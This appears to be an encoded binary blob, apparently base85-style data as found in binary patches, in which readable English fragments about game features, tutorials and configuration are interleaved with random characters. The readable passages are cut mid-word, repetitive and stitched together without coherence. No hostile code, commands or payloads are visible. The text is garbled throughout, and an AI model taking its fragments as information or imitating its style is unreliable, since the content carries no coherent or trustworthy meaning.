z>fd(x-7dc|jIGDP(3P)nz!pQ!y$A(uXJ6#=Te5IK_@?${)9VxA33^^lvqUU}nx2gE z(S4e99_~fX&kOMPXxn8v@_BZ!?^h(E1YgV>_!j*AGWdKuhCb*1%X1kt|LGNZ&gJ^p z9!=prKx~iN$0gI?<+-GNoS>6Fk&bqF6YJMdC5(Jm!du zi|_q!{~Pf!SbeDsl}9&4DRxhp^qDi=|E-9@=bces)lt3lji~cK__4viP`b$$f zZiF6lW4n}N=jH!=v-l|=ZSHSKE&hIb%Nw5Jj;C`z_dSLB9q4r2L)w@6>;%{yX(2ielk-ysAhz zbk%jJC@K~XWx!{^XTWE`H!6-wppwW&ZHRA(Z-{S*&vSj)Gdtl>?i)~PbR#Mg4&^F~ z@VUyNfG>}niCb<8hql~|Dxiv}5)$v0%1G>6s-UW<8mf+x>enC(^lPGjrC*D@Ho67X zL3Poss2-{xjy>1(xA>J+4NybWGy1Gjqj0G8ZKyH29XaC@o?U7}?+zrs$TLj% zR`^y;QL`XFJ{M&-E4x|Q&B|`p`vMsoe`7buX)F4z=(nODdlo8h^KdBdou~!63*C+G z35OD%k?Q4K?v47OzJFq?mTa^_Q5-^V2)!ZnhR`d~Ivgs|1_jtQ5w_EAj{@wF2xI!u z{#N(0-4R7G;hC$4qW(M_^(Tr$$RqRPgZU%RWX19*Z(qqVmq4L)Uae-NT_u z~e{8Ic<{Hyp^@vq`v#dl|~JA2*P>&{+x_PVpzoxSe=fxY_%#^>$6 zK~a1#ii5+UWkb+I;n0kS5nKj?S0D>sui;Q`r!=pIDn2~6d@uLx327^~1 z3tq3`U(=o{e^cczf^xSQzZkz*4kPVArrlQjZN=YK{B6bGR{U+n-&Xu>#XnWPrpnh; z`I;(Ui}8!`i}8!`>+$RH>+$RHZP;tWUK{q>u-AsYHte-wug!m8ZzjKI@;icjUXEXm zU(WYPJCJElBcDbdL9!+ICHN)!BJDt?-M%C$j`-J}f9?6#o`3C2pi;(*XPS7XiD#O4 zmf)A*m*AJ+U%|hEe+B;vz8!n**lWjLJNDYK*N(k*?6vz3?Db}^H+#L=>&;$o_Ik6| zo4wxb%{2c^^UpN@O!F_tFUK#(FUP-*e;xli{&jpW_Ik0`i@jd#^-6vY#ebn~~^}Ry< z&Qiy-;EHH{2eOC_{08mWJy6dm-WLw7#IMA!>=kVXGVLMaA0qxC;vXXZA>tn*{vqNY zBL3O(HCw)B%hzoAT8UqYUx{Cde*^yp{tf&a_`&QAW^XWigV`I*-eC3yvp4uZu=j8@ zpASd#`EWF!56kB&`CKJmbL4FfTouh{APZh^;@{MMD4NfQqWOF%n$L&ibCrCqlCL@P zHV3YX<};8*Y~bJ2o-2QI?LekIO#H*dKTQ0?#6L{@!^A&K{KLdQ zSH9-T*IfCUD_^VetMRMxtMME08}S?Q8}UQg8_M2L_J*=Il)a(s4P|fWe_(G!G@m1) z`5Y0==Lq>+BcE&JYo5H#gKMJs3}nIUE&N;B!=w2e9?j?QXg-I_=NkE3BVY66Z5~_` z&1WEs*ucM~J*t%VrH!C_j8V6RLnHAc@gwmg@sGGadqjJ5`EY17{GYxiJ`xU1d=x!~ z9!F!)*s#x{5cwqXNdf;vJPyq&zu8bOlp7`ChvA3mAEtkp{-k`aC*5z4Lrwh25mjiX?qz zB;LFYIKoCILmBPnr2A z<{%3w@@xuu3?t8|%nHXprxL{y{ER%WVy@tsm69;>tV$GP&#A;Pu#xc0%JKN;X@X~0 z5}sL^9S&ulgTC-Lcb|P^it@wf#;<=YcR9?PLw<6|Uk*7)c(x_!S~#bIXI+xM5}tRN zXRhba*XHsWOQsml|4eLUGDl`>kl9*gGFK+~&1Akz@|*Pemdt-Q#yUmD%=qh=;rxp| z6BEP0*V;wGq1xV`)b{?QwsR)fj{yz#f!N@B$Y+Ct8~$1Uv3(F=%dFv0OM9@TJ=oG7 zY-ta+v}E8$ADUt^DSb*T{1qWclPacpfAld4BTz_{g&%`hw>} z@{-@j{(bD<$NqincfxnVcfxnVm&BLEm&BLEcf)tXcf)tXU&3F)U&3F)U&dd?UzV@S z&m;M|tnaeEefsw4+ox}zzJ2=k>D#C8l)h8?PT^1CPvcMHPvcMHKf`~9k9~f17=IWa z`&{dH{O|bR>Hkju>Z+(Zx*1jUd6zj4ne&i2k7^&)KAN=6#!)t6pPeNhb4cGIeTUdT z#Qrh-G5j(7G5i&2=smzuuh-N3lQ@3&!JZ?sIN)UvpbY zR4N?GXnaQFGa8@K_`&m0X|w=YyL%S;Ob~z1BD5GSL1kR4m!f6b&VhUAm00c?yF$Iu zZ%M!9O0){mZyD&XMr*X`x1>LW-Vl02@I&x*PLf!@6CDD9;_nc7vO3`>L z$H$vb{Q1P6PyG4BpHF{;*B|ij%isI*_aXccegr>)r{F1g2A+Z6!|&l~cp82HKY-ip z+ilir+snvWZ<~(RA$xh-4747_bY9W6zT2Fu+g?S1&NTE|IF!mhNL4W$x)t6EZx;8> z;=b8lxY<4!)C2VjhaQ9vCc>D!!Rz5rgAM2n^d{Pf-U^56lh-G&PhOwAK6!oel$+3I zpX-|ED)Xe=g0`X?{2ijSXHs&J=MINb&`Uut1HBCNQqW65F9p36^fJ)PKrc)$OfRfI ztUm|8bMQNdaXE~O@gaI1Xz*b#q8E$r-+6v({Nv%!_%UcKdIUX+9t(#i;3qs0Me+&c z6Ueu?-fXc)w!*D&Gu#Y!!ksV~-;(hynHZ9ZAvsJ=mON;a@1eJc-d?yD?uNTz?6dig z@gL(qfuF$ba68-qcfc@PVRpjohS`ig&-Jr9yI9GC~^!D(nlg z96k;ogO9{Mc>5<8XjRSNnN$-brcExm8` zeXH+N{HOR&@t@+W;H%)P7*mCvD(qCzS0(66B&$rXGQG!%iQY#a zghQXqLPtFx_hC3xR)1OjH+_Wk-=x1hd3o~kXSzSr`a+8(f^L#ck~w6=L>qHQsK}h=l%HI(3wA8|M)%5SF(v@TgWDoO(fe&Hi>L2*(9<_ zWShw*kZmTLKsJHwyt&Ss>pcFvxt`mL_Ju>w??-St{ptFq)19e3Q+uZNEbUp^v$SVu z&(NNsJz0CQ_GIm;+EcZsYERRiraeu2iuM%kDcT|PM}CkAA2NSG*QI`&k?T@F*QJDK zEn{*qM4r7&!lz*;jX2Vr{wI)e{l6qL?(A2{xU*lA8F$vWv&Plq zM?HSjv-b6@dp+`c{~*8LJU^P}NAujz&X4qeq#yWwoc#E|@cX#=kMsMu`Hx5aK5pFc zU|bL*Un4Q{HKNPch%R4m<=?IRyOn>p^6ysTZZ$5(2mX9+-p`}{e6Ig<{fYCrNB^FG z;nyC1?cvuRe(j0+wa559!FYD}8n@TDr1{)y++IHJHEwS-pL>nlYg}Fa*5z+q{?_Gh zUGlpBAP@ZCZJymx|98{hP5)PRer4xZ{IB?n_>1_9>|T5xv3*hBMSZ{N`%T|(`hL^* zo4()l{ig4vzLWY+;!ong!GDAQ2LBEI0R8~}0R8~}ApRi!ApRi!0{#O20{#NN=vwpw zdJ(dz1Gj?@ivDya#y? z@*eme_zw6E_zw6E_>TCF_>RVPG_E6gNAh0ey~ul!_ag5_-iti=-ztOusq$X@z4-6- ze=kSh)48He?|XXR)BB#@ZH?`JuiI{qqVqg4-}st%zVWr;P~*JOcD``vz3902qT}9+ zj*Ia-qvLiOw=+6!r*X~YF?cnX%LvM61l`|7Fsj>}Zu*nxn|Qr+%we3NJlO~lY7>Q@tfy&oO-estXX(Qz^U zgXp*qjQb!u?gQhRMPqLkjr}jrs77_0(Vf2!?RD*e3-*UY+r2N^UJ>O-ai}V)j{Zj8 z)Lc!Y^8|Tq%IBv1O?dw9zv_?1&{PbO@rn4RQ9qmVGt!rc558C4Mvb*mV{O!6n;b|D zwoz|w)Y}z(d6M**qmB96MCS_H!K)4XZOj#5gpba9wHU4z7V(!P?vNbZ@#G1>igLT+?T{CD7X8GZ~MK<}WFC|H4jf{)*C@(kT5&(#Ir zODn^V*z?Tg%u_}X<wxSQ{yiKQ`^fzTE)WTOoCOK}4(c{;nl{|Vq z&QA%LC-@KQ2hQ{uoH=^%Y5zoDuj5yfsY;7qKk=)ZdCu^wH2t^P`$c>i#rq)tf}gx7 zt)12Q0_OgakN29tjQMNuF--p`{p57|^Yv%G=GOj$zdh;iK_}>cO1~+8_t5QR%y+OH zznAd4F#Yz$*rGSS5*goLuFhY+59513b3fjWuXFsgUl)&zE%Nw#2W7j(*YxIjqvy$LSZPU%5X0hW;FIo39;fk5|@dhWp4v$u@4F9Ic(NM};<| z^VL0Tc#y9tlxa!*A&=f40j2e|BCDg_)c6IdeBDb)Z-x!vqw@QM{C+RLJ>@s}`LEz7 zGCpnNXX$*$<}!X3{tUh&{sg=SRu^Y8asFmK{;(bct;cUqs)6c$K1Z%bwB(<4$X~)o zscG1;27TqK`dBqkE&eN;56k@}xldorI?(wX{Y2+$I<3Xhi=8U+y+*$8qmxG8>`LlT zt~Z#cA0Hm&!^7ri)7&G}6a0L{U4D*gihQ;c?_BxqYD>xGbbJc@`*PbGe-#@i`PVnbz3`yy^8jSygmxI!s7au%f|@$I6Il2a@`kyq=j|E*T-*``!x6g@|%|a zllt4!->ZKozBT(du>U&yTdLS2we2%_JKWEQaB?xg;Qt=FiT--y#~J^J@ge*u{9X9> z@XgG((|lRXH++(Jc>1U4@2UTY{#Wre&3BFY=9#Z~D_@-@d#9!G)2*TLP3dnkzC8U~ z^tYHHb~+V}%WB*-<5G;W-$%=rdaP%Se^W!F>8;MqA9Ym$KZ<@C{dJy@Ykcyl&OZF- z>h}$N@KZU>=@+K|EBP^ge~kYC-%9_aNq$OzyaM~*;M=l4TmSv~i{KlupI?7@_Q&9t z@@oaY2K}G#{pc^EKZO1b_`dXmN9U{3ACLc${x8k^X-&Lei?_9Sx7K$~jdU(F@>LXj z<8v_<%i(O-UQ$y1s*SqN{WNj*m~;J97UzmHp=&;mL85tRfxZ>!HPqoc>p<49r96oD zTJud2=Vy1S4e^a3e}eoG@)Z2&&yTOkJCnB~znOdu{qyuYl20U`O#Te{)%1tc|A~Aj zpT0?NZL-)K{CN%k4t@~6HGZRUn~d9TTs`B~8&^WShv|jIv4-AcdY{odLhl58^-PhdV8EPJ)AMcvWs7PK`v_mZz3xd z;-mH?XWNIUq4r#O5Z$Z244yzKa;W!8);y1|TaHs7)!l}v;~eHJX3mn%=is)gctt+s zc2A-1hd86M(s_j6>G_khn6r+~cjz}dsqBR=YI`7^gJNpT*9Yn3(D!O3XOejin`d-u zdvB((<~UwOeQop==-ST0x7e)e<9>V}d|UhsF*bJgz9zP<;vCw+Jr4ON^W+;&>ZWF4 zu_f}o$+aY}bEl;oS@#3YoDuT=P7C|gx^L9?pt;AHyEr?KveD4^ql;aChO7HWL!rg! zTJ4N+*3nv=vlc#O2+hdn+T*^gyu3|IrzWqJ7wu>1EzyKfol!^*h0C-*T-K+ZyvoIa`q%Y`*u`g&&y#~dEi@p{=YFvUACvg z=eyOxUb#)d_Zj*>CBKQhf$?t|Kil|x^Tp17Hump_Rp2>xdgyPae;@nB=+DNFz=!F7 zBgP#0tuz0>aW<6}!>5hde#9eTsMaWU>)U4|t@&+yAS>O#^@n_0L%AExr^a$YzFB|p zwY_5c%jzG_PJVoG{h8#r7oXS9b)6OC?P6%pZb~|(ja#ApVlrzsTrC;@3i&BHzpS=` zuQoML&u(V*7M2V0(PX_s_L(sgtZVA6^yOpkc4OtJ1^zbmQDBF!XS1D?y~^fUuf5Tj zdgker!G1GWX6v_8fAD`Coo7D>`?c7=7k{%ky#ot%AsbKjkU1YV{-7GZv9_8~yItV8 zQqDcKl2Og}VmA+)!(l1-!!T#R+)kmh;b~v75&Mn!t#SI3JF6-<+i!EdfSdUDy}kOn z_CT^l@B&#)cB{zaIkXpFfxpT5-Wmq~lh(DU=yk5k*79!S4$&C_Gteol?;Y(8w>#^s zcNcmGGpI-OCLg{kX>PJq^mfx*XU%rgeOx?gP(3sY5~C&hWc{$u7ZYy4rpq-ZZDHBzywI$Y%I|Lxqj z;P-cN=Hl1!zq&Ei$R8rBP5&wVgXpJU?0$i~4|xUhQRMfLhsc+i|1o_(+HzsjP?~zR;D@V3T{J~dIi^^LWH9Smy^Wlq$=juo04}Xi?e$&uA>9y5I0rl~K`k13W z#+Yu0_7?4x+D+K&XZ#uG({pNOPaf;(ocg5}eP_o`wl0mdkDIGS{cq@h&-ryse{21v z&G*e{`Ll0}re#}yR_DMo+C%kU!>?rg%9Y)^SGV3XG50w>9ww_K<{sp`#J0+uSF?SZe54!}l*8ML@GZ{uPu_mYV82=K6ZzD8 zYHMXppVW6IrF&HCnu`yGVL^BUe1U&m=xw6c(|l*l-GD!jrx&LjRtg(0Z|mf3UPuj* zf2zGr`#ilK^g9@L0@lDkq`!%A*Bdw7xMg%F(Y>Jkq4ulVk9Kg*Gd8Q6{kDYv_+|LM z_!RgPU7dT2ofXc=cMaaIW(w%i?3wCV6se@SwA^T}S=Tt8M&p{5bqo z^WArjQOD+Znr?GrPa69meh>Z`e4!=w`9L;bW{-RpdCiBc!E4SM{pacL>nc`w*8}$8 z3+jt+ukh`M0j|f!t#9wVGVZGW?qgnbuJiRnzFruj&e-|G_{qlar*|X0VeI_M&JXN# zp6niJkhNat`pV~z#IRL=b#@*lzh=D}#b1LjB(`bvyO3X^{}BC4^iS&Vq<;~4Rr)>f zC)f`U6a)X__%%y^I&qESPkHjmjh`S z;A5xP;Y7F-&Ve7pp>Q1>12@5NdG8^$cWZZF>Rex@W?-2*&Zef$!7*xA`#ZEv-)Ynd z&CTmNT~eOlb8t{i^^H#GyW04kus>Ry-?`ID{4?k^cg{>yXV&z=DbC*P_Koomr?O7= z(Bt;4>4m$tSyJYs*0G*<5B$yxCA)gi{UGtbxN`Pp9Ys{Oro1wKAuKhAWv_aXa* ztOnT(vc+V};N$Eaf{Wnkir#;4=9?#-8x>qfa=Z3%;)68ysP=yCah0s+IO|2XAKmkG zFVO9&zmopX=$_U-u04(JYP$Qykh{L?jky0X*XQ^m_?`H4jnx3XDQuOb+m795jqhT7 zinOlx$6h-*Vh*D6>;ek-EAacYiiz6GjJ{;Bp?EnTaoyAP4q zEfd6RKc-g`qgsjUPJ2bJv&!?uN99FrW>O>9TB}~UtS_C(Gh8p|O;S%2>1LnG=5^N2 z`TKA?G0$<|(Z!jv$a&JixOvVldvb?8Il8@A=bE>xdciN$pKYuB(mA%>SxK)WzTFZv zv%~uUaox}6VKx`Bc`KW#jp<0g7~MD7$i!whHtVqYmHw{!FK&?=I@{TNoL+r4uVFJA zn`a+ZTN}LZfF#uWW7I9q{-(zAe@w!;8Mb{ScImsR- z+csYwQLm@f-U8>2d}g#p=jFDi_JquGl2z@%Z(yn{u3>U}+8mS3UCo>)*li4dhHD-& zC+vyO%!lgqzJy94H+I(9xF&w_uAd_HVIK90OB`@?ThXMDet?9GmrDtc1HAVfML9^BTSn|}yola(5oMBI*7ppldgKOxWYG)$5#pIga0e1Sq&gNal z*4@@JRbJ;2dvBw>X~p}5_daxru$dWMgDRn3>`p|fs=I%n7yOh;J^L*9Ik2VlkFh-% zE_H3$)WNvtoTY4E6yGuNrE%WYX6I__@?2}@NJ%lywC3cq#X0yX_Ydv7H=N_X2S3NY zy}t{e7P)5Nle00YrTP=|v&~%h;RyTvyN=FB`~0_i)ttG1cIG^>SkCCbY@W^LSZe%P z_VRU?n*r=nMKY<>uTx_lbNOz|L|y=jn_TL$Xfhhqa5y zpYi?J`4(>KrvCZ;n=$+Ne)L+`7`d%!9XDz}3a`iC11F`YLpEFcgA8hj{CV@<)n4Ak zv5k$rY)%zhMR_`nFJ%5{=E@GA2<9}trE%wAXLuW1?`n^S74e<;Hv-*{o}{*W#?Q)mbOj z)H__e?leaIex=s#oyre(e`@GH$2?QDXCSmlgRd=6qjd@#Hvl)Dm?`mnB1@`Zl+^(x* z#cf~BtftoKEo<&f5_92V@=fnIl#Z9)!zUi6{(p3Z6Q&~ia(_}_ltESpUTeW2l+`@hEHb}xJKUVo|q4Z zx>@TbAs0I_E_Y4kTbudL4poQAHiGTMH`_1c;_GA%1mExGyji)9d%JdU2L)z?fG{K-v(b%|3>|r@n!H+^q1HFJb9iu&IA1G z_;l&r1!O4lq1hTXQI4kC$DVY56$};c{lW_ zzUIas&~9aXPUAb$yV>|u=GkHXeKYw&?;SQOby5%3I$ImL;#W_4L+O>pFUF6>&&1C& zPj&OxZ)cs^&wyWM-o7w7`7(C;FL2F;(_lMmzw$Y@^k1WYJ^4uTLvRtiPycKByFX$t zS-Z;C?$k(jw6ke{An!xdIIGpk!O_-;yeRpvDP0Hkg{(;nm=<=0dEkX??$fO2%hvNj zvXW%etl?Pgs@hAnpVPimJI-}#KKrFyKT2BL1M-wL1%C=K?Rs)byKO;xyt+M?+`f%- z23O=0`B6Hps)>cXxc0N;FO%n^{~>uJ?Iq+3*eT54+2mW;DSf-Wzloj4e4ew-If>tg zZ-ZZsFK66S#+5cMgK?vb>tozj^JFBiWS-e{l9NASp5MqDldmD)M_!x!40$*09pu~D zsmab8$8$kBT_s^4Z6ah-IXD7_DD>xAsQuXZ8J2*!~{pJ>gh-Pso#Y zwNlnl4okVmehc0T2cj>vpM`_;PuI?`{UWRcyQ2fzqv6o&_#3At?3+WVApJsoeu&RG z`Fu&cFQ1$6`6V%4qFX?WPm%vfr>7XdBd?-8k9-^Xjr5O@x72=x`~`N(ihU*dE_QAq zpG#hY{95u!QcjT(#TQST$Haq7p^Bfbf~-Zr@>t4kLAmjjy$J0I}dH@S|H4JR9oKZfs& zUx!~|y-KF=`G9$gnm0vCXQ6q!nr8$5Q<9f4?_@d`wMX&eEO{O6CFJjuSEBzFc?a#c z$lqe85<4%GpJ3-{XXOQF<*&}l{?5uz?2}!_R>~v4Pg)l`&tD@CEyX?E{Yi1>iT(3Y z1$CQSjOwE(`-kaY=NdZCUOiM)%ygEc^>o(KDVNq7u=ADqnz`;)DW-06xd-CUShY3J zJk49HVP{m667s~43-8Jt38eU4f3M&KPGRcy@q@_J0-30Lh^Un2^EsBYn>Bt z4BSVa9Ol5+h2P?H!&3OJ@Bw}uQ4@#N#64=F3cFL-t-x+JcAum_h~1sZ)dzVkek`Pu zfqVi#l55{Z{tEeL+KtH1llRg7i2MU~>anwp{3mwOo42xg8^ek4D0xO$0DlKOhc65( z;O~c1`Ik)I!uMEH{(UIFMQWS3s`D8>Z#`C8kMFEa_6*L^EUp1z>)`x(LEkfvID1C% zr;(g%e?hhiRwBC&wy?(6KkA;2jXc))8T=~yvMX7aZR&>nb9@(l>+#vF(H-WwY#!f& z2)$IwbuOQrp(ALm{)1>o5&H`>#z)Yct(7 zq_}y~SRebiR&FtjRU_8uEBZGybAG7PukGV|=)8uu(Rq_jHFMNw=ZrOIWew^TGiNUE z<*e!Caqb<=)2g-H+Q+R*$Yncz&2io8;(g;He0_5_w4QSQoc7{m&amO)7RySp92Lut z=D1dTb<@j#W@l5#IZZx*jJZ%3V=lLMhHr81&$HjQi?5q{*=p}Dw$Jco*#5*ksmwE4 z`>|lmFy|kex0tK9wR+5a!G9Cj%$j{*&R^v&pZ>Gv*=?SJ`WkCXQK+8raq8#sLTbH; z8q?mD(ccc>4%kM{_K)Xx3+I`<3@~Uddq>qycQNc!J1w%xBl!mMCY7x}Tu_4!%;CPI zgB(61e=oLDuQSA-MqaGpGV4-BzL!jNeI?7n*CA-}-R?uwe_?C$ld-AUI$hG4DgVpm z|2JpmBDR;P&HK##A{+!S7FKg{)(4*ke_H%Y%{kYcWy~|jJhR!(&vyRi)@gz>_Ac); zCwqUhn!lI+bl3U3L=HyqdAl4m+Tjcm_w)Gg#N8WzM^)=< zuFdAm1qa}F!t?mX@NILfHb?vR>c||k`A~YTJ;R4ui|x~#_AbiZ+uo=5fE@0T!=3c* zpw~(6K9##AVy`Op9_;Vi=>CQ6o^RQM_%JMSi#Xut=6zLvMg6zqr|JI!e+EAUf0bIU z0Xx&*4|C|>uD`ebHu#6F-3j>dJo^<+H1ChFsJYW`a`y0VDgWxwn@6V(|2FWi3%!ft z*=SAIThrbBU5n)`cRMz$?KHWqB)1m_s|&g7D94%PI7d(NKJKMf+usXZD)GbU=BIm% zZfm+n7pg0=Qe>yeg8z!Dn(^O}-)U@|u{S^H3|Vh%CuapaJNdDdAE)>+h#y7xF_$0f zo^kzJWsg2*EMr`d8|Pk6xf^F`My`|OFy&fP)kPk*0|K9|*h)Vkj#&I8u1w>S^b zZ%%(2y&KG1uZ28Ja{r)S?v$U`+p{GI@y2N<7Ro~9eWn_d}uo5(AWXC3JN z4}Z|O^2WW)erfjW^XHAp?qki9(LA&GlXpIQ`UmTOmAnag8hI-z7r%%tk6gS!mQ@~> zYnOY)dj)-2`Syx`hyL2;8%v(w z_=WiV_@a05iGC0A5czQWA^x4x-%bBA@|xsFtV4I}kXpQ>tzSy_&xT`2K!+=d5fFXqOteM&APd4+8b5vjg@q7ub^h=udptS<#jZ>$JrULK2vQ~ zBXYTCyWE=RTYBr||4#BoOVrH{>uA4}uI)bDJ~#odf}I1rT`ruNJK@mBT=&MgR?l!B z_@wK`H1We!)71ibs+rD2{MY0!!y@FbtE+7MX*{0)_E*g&<|xmvJLL2x=K%hD{5Nc$ zB72GK@Z;{;o>0SOoelRm$4k40Otrq{tVdCC6|)EGxu?8dO^i?jH;SzRyEnMDjB*B* zk^5WaR{!|n_Lcrh{MpOiR`%wxH;j*q*n5?|r;0nf*(+&$vysjyzc{Oe- zd)?T(&U~}j`-Xq7ye*&X_1)quWv|M1*Fd&z6vr?zbY=5A{S0hX+ax}|eInm%MN>@8$(hUhuWN%k-zye}?}1^cV844SSFBZ#?^Z__vRL9r>3=e`fwI zWp5UH1K4Z9zlYcx#oj&qo6Nt9>=owU4aQgI-$wTG@b4#lck|t>|5x^UvbT$WQ{Q%P z#@_8))CzlfwmY}k%6*60e%!uf^C17e=Uc8#^2)at)puUDR`sp(Uk2mt|x5t<BvSG{#;_?B{pth`}QWz2*)|hZh^~%NuHlD^G zVPl+p4jp5E*LQEo##%OJurZ!L<(wBs*yzKTIQhFz{`#4-wA>BFe}I2iKHn#sK=$V2 z>WIJX#ZiR6CB=VKeU=e_VexO2&kTHBBEH#d9unV+4cHa`L_W_8@>|#amip|+@0|Mc z@_ik9OV}I5-o1Pu!`?*py7PZNdufd?%lB%=*XRES_+tDI8#jpmbg_wunQ8*iBFQTh+_u_GTF^6|(^-fQx)D<50)@shE_`FIN-lbib% zK7PqgcRs!&o<8hdP^0g%`8FS0@^Kfv$JnpO$2@$@%Et+D;z*@^mGgqXABu0u^WL+- zx7f(@9JzcSuR({@L%*V!L z=kH!)#=puBV`f{weqCJe`F+Hg&wD%TS6QP$a=6|)b+q2|)hK>7e=goDCwx1_PA9RP z74z7|?)Ao4<7Vn~ygA46^G^4CG zMD}1K=ftabyN+mAnHsV<_8Z^7m-C)$<&~YE_?=gcz95IG@$ZOdffz=~!8SQqtp8VW zy+QsI`8e|L$=8w>;`2~`)UdXNtmQiSnMUVEelFqL7CzrjZ#0}@+}Cgiehwcd$-!0H z9p&IUScL4&7u701ual$H^7S~`Qv>Bl4GiPkaW-aH$Dh@~ZZYT7zs8vU;#_9j>E7PU zta5)~e2?|6J8X=Q^NZx$$&Zo`A`f>G2l)!)pXW!Or(K8nkxtHssjZ)_NATYde?$IO zH}4hX=A!wY;s5Kso=2KE4 zep&9GN8NsAPxa8>SAWO;_T)|0U!4tT3+dk5$CIL!k5dSiJME?f;RrRmcAAW#u`X}mNsJ{#SWBh!VpZ)k*nm@PjXJ;$> zdWM?gPbzb!uzuUM^J?FrU1YF5p}qPQ@3VTV(N%bL(|kU^`MF(RdVR~qHD6q3#L~_A z){Q?M_;cJmnfUXB`BU)cC-ZMH|1DLWjcRRq6~4j+=Imp=uQz99>z&NJi@!gHTilKUzZItZlm`l>aEB+YoeXzb$+V5 z2G2Q9#4(7ye0`nka{oI0>~uz$|Dw4oYUifEL46EVABE+0o;Wth>wbAX*~wZjP+w2m z=jGIl_)eA9uWo{gcIhn5;f`&viDc zh4uWoksq(|qmTJZn*SYnyv6)?n*Vz9e^N-E<6KudssVd>9likmYW53R-}lY8$9%2j z|=R1+&6p zur8bdd%?@_6}Ysf&l%t-_V&7>~ZrMWsI6q{k zv^qG0FG^mZpM0-TKlJwE2a%^SKACfFbzl>J65l}obNcUAPkZ@Y*SN2Y>pw(Iz3Ou) zdU^FfK<{06we_BEz3cLS*ev@9rk>|~;&)B)wS2}kgx%~V*^rY#{pq!p7xg*&LF+00 zkeXU+zIpBKwZ39ub4X`(KyR^}6`*rSjyl;Jzbvs1_-+fNlD*Dy+>_o9^ghgKujKGd zN-pmMv`dn|KwgUeSH_PuzNoV!8QX6ezvN!?Kj*U(`~tq#!%x9~ho6pbWv}dCOV_w| z#(l?TYqoF4ALqvt>^5hoG(T?QM+Nh}X};j6V@~knM!L6XS7rA}c1yCin7zrymt!w& z8#$4)mE!*0T0L&wo6TFXs&%hz413Avs6FEwJkQ^bKC= z%=5FoR?wb(5dSv*8+=auO#DgwXt)cm<=Z}f#__Y9_7v-I=PK76{m^2q0+u|rr_qiF*VnzDf4&a(@b`9R8UW^x-PP_ot>lX zTxI-Rb{4{-?9Ad%Ms^PIr!6}p*?E&co%!<`c`%i*xy2#5%Xy@4pAMvXedIF8*{XCB=5 z-hJ=BGBcKO1XP3(d|0u^9{*~LvB%zH!4iAaSh2>~VvHJN)EHy$L=*G>{?=N1pL3@d z21Z!$S+jp@?fyHvoqhJc?*-s@gTFx?{tdjAFl(v9EOl6-4hz)b$JAl*o`j(e$3Kwg zMj4KxY_FycQ`F&b$~HwEK1m(kK^^AEvVVXJ|O(9iBouebPCTbULK-5%T+gr1Onyp(EXE6Blg7g7G_P@bdFe@}TnLwTM~eV#ylo=JUmk4_zVQ)d) z-xKzO5i-voag|FbFk(Uko}%KVR%`A*Lu zE@Q(fJliWVZqLB)4erW%n|A##aDFFjKg9MI*uHmfp8v}kW3fGgc)!N>cJe!$bl!sP zv}ZCt-whjO`z-ak0%d(HJa434KV~dk{Vdks$it8ek)J=Ec5-)kcoF@CJPx6bPvyCd zllHaY?u(S^P|~~&@jpiV>k;OMgkMd$wt(M8_?yGYM#A5ba$H2cZ%z24$p4#ga}WCH z0{!TpiE|inK1><^j`AIMN7~geF8Vs^@O#|5pg#+D4gQDYe+v4G(1+0(uO*CYH-c+MZdeHhR39O8Y1 zcw^Lk=+%^SEA@CYeVjhGNPE5B7Ut5Ivu}J3V=-yHm3D9o+UutY|3tzslIBY(`*kRL zm$F`y^8W|Cy&ZfK<-P^wz8d+znfxC>*q`FArreJh1w(@jis@CWOBTK0k^3c=$Y@cwZ&n#?#^A)$}XMJ4tzeNqM(W-jlX4 zM^N6|!{-l3>;05_4dwna;h#zPdz0on;PY1SxrMUc7CsN9J*=nw4AXu-ad*ay7qQl( z4tJvtccIKbyDj4-Tn0Ip|j5RMN zU-FtEuQSQ#k>v9R{4ci>1Pzc>Cz;{SShKZfvsj{ZROLkNEsWxE~qo`SRQQm)riuH{$p{)hcu*dK%a8l>}C z?9apg3i!J>b-5?Jy%FAyBfS@p-Xlrxx}^6A;*AsU?!@~A>AjP9k5xSETd_X_`;AHO zU$DO#`vs);K+<~v>Ai>aE@X^*2prv%F|JP?z7PHf!atbjbIl7F8_wW)@?73KgZ^R0 zfG5)rK1TnVrCp-`4*d=v=UL)^I{F&)+vC^y2yvf6d&9m4`|;TSK)f5`_eJ!p;ZLv>cy9Kt7QHPT# z7P|7*^amF{&DJhZS+T@KOX&C=%=AiKZ`Vxdm=xR zdnfjhM;N1VuQp2Gr?1`^{qgAkj5~B^xWax2`bPAxk=CD)&La68|8e>+?cqOZ&+~9_ zOE~x~{x8S>7xElgbmIINzpcdk#7WE<^x;G=1Es_3)m(d?T!8_vl@JZQ@zaL>f$~f{`xWs zxvYDhd@lX!rzhbw<7%K2|q*lFBAS~@_!%U zUqkq368=vq-@^#^D8d~>`L^Ky8~mSnBJKGk_&tO=<39R0Y&T(jbv)w|__K%8evY9( z-2g6*q7UFc5ceyD{b$0Ra!cC!M$U@7fU#x{&i{h?Ebxx>9Qp|3>7y7=zi?xo+tqoN zJgYAe_A7+_OYps~#+XK&dpsNd(LY1HyZ#kzfq2g(-uKAsT*`3=YB`rx2G>(m$~KX@P8N9p4WquO|5e+(tQHMLC~M z9=F;I2QTIM+?RI!8u)^jcZtuVDI4{8I-LDI<^2x&MYz{lLH?Be6#Tx0J~cBp-k%>H zJ$3Wk_&m~|$FO;B6Fp#mVFcgFlUHp;86H#6P^K2T zjY6=wMjM-49Ml@GNz2WXo9xfyQE^MLKx?lm~z@JK&w z>kF6((4U=CNl9eh$`7EvZdn+enF38NV+<@PqIs^18*aOD)n-Y5eEv4vc{K;KgWlZu z#Q6N^dc2JF&VQ;L3`@%eslUFU@rc=X$YuE<&m%$tQ>xWkw5i2_r)RaRY6RS4p-;Lc>8+t1{ zwe~A{DcH4}+@Srt&i=K3y7n&*m>}!)PgnoU=$~o(wd3Q0)svnVeqi_SOv(ythF6 zmOImvvpChA86E?4H&8TOLiR={116uYm}%^k(cx~_W~s56C7CQQW+Fvs`7X#{eiO75 zN9%-?z8a4KSOWD&hx<4x(`W%>24;Hh;xirwcUAl_xQk(37|f+Yreg1h-P}p$R`P<= z@t%NHcX&e}Jsn_weBEZMIWs!E8EtO7x0$)PKT;INu11m1Slh>xCCw4@Gu`5$P)kKo zd{a&tAKkD?*7zJm>1cb9dlT1d8EfxT>fL0{+XhT+pK;-90IUBN^4Oym!JR5_SjiJcKu-g2Z)#skJ ze8$<-nYp1+h3PA5zyW=+DVr@e z1#Gbih{Yzz7n=ZQ05HCObN>O|2W;-1^T7L^vQ=poOaF`qyP-UH9(`GlP6{(tZQgSF 